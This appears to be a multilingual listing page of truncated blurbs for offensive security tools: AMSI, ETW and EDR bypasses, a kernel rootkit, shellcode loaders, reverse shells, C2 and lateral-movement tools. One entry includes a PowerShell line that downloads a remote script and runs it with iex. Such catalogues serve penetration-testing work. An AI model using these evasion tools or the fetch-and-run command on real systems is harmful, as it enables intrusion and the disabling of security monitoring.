SharpBlock

SharpBlock A method of bypassing EDR's active projection DLL's by preventing entry point execution. Features Blocks EDR DLL entry point execution, which prevents EDR hooks from being placed. Patchless AMSI bypass that is undetectable from scanners looking for Amsi.dll code patches at runtime. Hos...

CheeseTools

CheeseTools This repository has been made basing onto the already existing MiscTool, so big shout-out to rasta-mouse for releasing them and for giving me the right motivation to work on them. CheeseExec Command Exec / Lateral movement via PsExec-like functionality. Must be running in the context ...

meterpeter

Author: @r00t-3xp10it Version release: v2.10.14 Distros Supported: Windows x86|x64, Linux Inspired in the work of: '@ZHacker13 - ReverseTCPShell' :octocat: Quick Jump List Project Description List Of Available Modules Meterpeter C2 Latest Release How To - Under Linux Distributions How To - Under...

shells

Shellz A script for generating common revshells fast and easy. Especially nice when in need of PowerShell and Python revshells, which can be a PITA getting correctly formatted. PowerShell revshells Shows [email protected], above the prompt and working-directory Has a partial and full...

GoAround

GoAround A tool that allows the generation of AMSI bypasses and the automatic obfuscation of PowerShell scripts using three different obfuscation methods. GoAround is licensed under the MIT license. Refer to LICENSE for more information. GoAround Liability disclaimer Installation User's guide How...

LightsOut

LightsOut LightsOut will generate an obfuscated DLL that will disable AMSI & ETW while trying to evade AV. This is done by randomizing all WinAPI functions used, xor encoding strings, and utilizing basic sandbox checks. Mingw-w64 is used to compile the obfuscated C code into a DLL that can be...

SharpKiller

SharpKiller 由 @ZeroMemoryEx 编写、移植到 .NET Framework 4.8 的永久性 AMSI 绕过工具 AMSI-Killer。 需要额外混淆 https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059 新增集成功能： x - 每 0.5 秒实时扫描新的 PowerShell 进程 - 自动修补新的 PowerShell 实例 生成解决方案...

Nidhogg

Nidhogg Nidhogg is a multi-functional rootkit to showcase the variety of operations that can be done from kernel space. The goal of Nidhogg is to provide an all-in-one and easy-to-use rootkit with multiple helpful functionalities for operations. Besides that, it can also easily be integrated with...

nimcrypt

nimcrypt Sliverシェルコードローダー。Nimで記述され、Windows x64を対象としています。最も一般的な2つの配信状況に対応した2つのバリアントがあります。Windows Defender（リアルタイム保護有効）でテスト済みです。 バリアント stager 暗号化されたシェルコードブロブをディスクから読み込み、メモリ上で復号し、自己インジェクションします。ファイルドロップのプリミティブが既にあり、小さくシンプルなバイナリが必要な場合に使用します。 root@kitploit: loader.exe keyhex ivhex...

Invisi-Shell

Invisi-Shell あなたのPowerShellスクリプトをあからさまに隠せ！ Invisi-Shellは、.NETアセンブリをフックすることで、PowerShellのセキュリティ機能（ScriptBlockログ、モジュールログ、トランスクリプション、AMSI）をすべてバイパスします。フックはCLR Profiler APIを介して実行されます。 作業中 これはまだPOCを意図した暫定版です。コードはx64プロセスでのみ動作し、PowerShell V5.1でテストされています。 使用方法...

Girsh

Girsh Golang インタラクティブリバースシェル リバースシェルを完全なインタラクティブリバースシェル（tty spawn, stty size ..., stty raw -echo）にアップグレードするための数行を手動で打つのに飽きたり、ConPTYを使用するコマンドを打つのに飽きたりしませんか。 説明 Girsh を実行するだけで、OS を検出し、完全なインタラクティブリバースシェルにアップグレードするための正しいコマンドを実行します。 Linux の場合: 端末のサイズを取得 python2.7、python3、python を使用して tty を生成 端末を raw に...

Rusty-Playground

Rusty-Playground 🦀 一系列 Rust 程序，展示一些攻击性安全与规避技术 工具| 描述| 参考 ---|---|--- ClipboardMon| 监视剪贴板变化，记录剪贴板内容，或根据检测到的变化复制文件。| - DumpMDEConfig| 枚举 Microsoft Defender，以识别系统上启用的排除路径、允许的威胁、防护历史记录和 ASR（攻击面减少）规则。无需管理员权限。| 来源 ElevateToken| 模拟用户令牌，以创建具有提升系统权限的进程。| Token::elevate HashMiner| 从 SAM 和 SYSTEM 中提取 NTLM 哈...

PowerShx

SharpShx Unmanaged PowerShell execution using DLLs or a standalone executable. Introduction PowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets. Features Run Powershell with DLLs using rundll32.exe,...

Salsa-tools

root@kitploit: / / / / / / / / \ / / / / / / / / / / / / / / // / // / / / / // / // / //,///,/ // //// Salsa Tools - An AV-Safe Reverse Shell dipped on bellota sauce Salsa Tools is a collection of three different tools that combined, allows you to get a reverse shell on steroids in any...

powershell-reverse-tcp

PowerShell リバース TCP リモートホストと通信するためのPowerShellスクリプト。 リモートホストはクライアントとその基盤となるシステムコマンドを完全に制御できます。 以下のシェルを確認してください： Invoke-Expression PowerShell コマンド こちら, プロセスパイプ こちら。 Windows 10 Enterprise OS 64-bit上のPowerShell v5.1.19041.2673でテスト済み。 教育目的で作成されました。お役に立てば幸いです！...

Stracciatella

Stracciatella v0.7 Powershell runspace from within C aka SharpPick technique with AMSI, ETW and Script Block Logging disabled for your pleasure. Nowadays, when Powershell got severly instrumented by use of techniques such as: AMSI ETW Script Block Logging Transcript file Modules logging Constrain...

xc

XC Linux・Windows向けのNetcatライクなリバースシェル。 機能 Windows root@kitploit: Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active forwards !rmfwd remove...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Colecciones de herramientas WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

wmiexec-Pro

wmiexec-Pro 新一代的 wmiexec.py。 目录 1. 简介 2. 特别感谢 3. 功能特性 4. 快速开始 安装 5. 使用方法 6. 截图 7. 工作原理 8. 免责声明 9. 参考资料 简介 新一代的 wmiexec.py，拥有更多新功能，所有操作仅需使用 135 端口（无需 SMB 连接），用于横向移动中的 AV 规避（Windows Defender、HuoRong、360） 回到顶部 特别感谢 @422926799 回到顶部 功能特性 主要功能：AV 规避 主要功能：无需 win32process 主要功能：仅需 135 端口。 新模块：AMSI 绕过...

injectAmsiBypass

Cobalt Strike BOF - Inject AMSI Bypass Cobalt Strike Beacon Object File BOF that bypasses AMSI in a remote process with code injection. Running inject-amsiBypass BOF from CobaltStrike What does this do? 1. Use supplied PID argument to get a handle on the remote process root@kitploit: hProc =...